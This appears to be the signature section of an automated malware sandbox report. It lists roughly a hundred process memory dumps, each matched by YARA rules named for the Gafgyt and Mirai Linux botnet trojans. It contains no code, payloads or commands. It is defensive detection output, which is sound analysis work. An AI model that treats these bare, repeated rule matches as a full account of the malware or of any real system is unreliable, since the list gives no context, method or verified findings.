Source: 6401.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6401.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6673.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6673.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6449.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6449.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7196.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7196.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6715.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6715.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6390.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6390.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7315.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7315.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6448.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6448.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6611.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6611.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6267.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6267.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7070.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7070.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7369.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7369.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7147.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7147.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6922.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6922.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6236.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6236.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6984.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6984.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6382.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6382.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6734.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6734.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6918.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6918.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7104.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7104.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7459.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7459.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6917.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6917.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6956.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6956.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6795.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6795.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6801.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6801.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7442.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7442.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7414.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7414.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6797.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6797.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6907.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6907.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6959.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6959.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6708.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6708.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6706.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6706.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6307.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6307.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6454.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6454.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6684.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6684.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6554.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6554.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6728.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6728.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7142.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7142.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6875.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6875.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6514.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6514.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6502.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6502.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6754.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6754.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6318.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6318.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6867.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6867.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6652.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6652.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6792.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6792.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7233.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7233.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6511.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6511.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6842.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6842.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6614.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6614.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7118.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7118.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7325.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7325.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6562.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6562.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6432.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6432.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6516.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6516.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7352.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7352.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6467.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6467.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7303.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7303.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7205.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7205.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7074.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7074.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6620.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6620.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7001.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7001.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7270.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7270.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7152.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7152.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7226.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7226.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6419.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6419.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7023.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7023.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7286.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7286.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6328.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6328.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6452.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6452.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7192.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7192.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6709.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6709.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6525.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6525.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6469.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6469.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7438.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7438.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6420.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6420.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7003.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7003.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6563.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6563.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7174.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7174.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6896.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6896.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7078.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7078.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6305.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6305.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6911.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6911.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7415.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7415.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7318.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7318.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7334.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7334.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7439.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7439.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6852.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6852.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6785.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6785.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6468.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6468.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6967.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6967.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7346.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7346.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6388.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6388.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7370.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7370.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7054.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7054.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7140.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7140.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7209.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7209.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6903.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6903.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6982.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6982.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6900.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6900.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7280.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7280.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
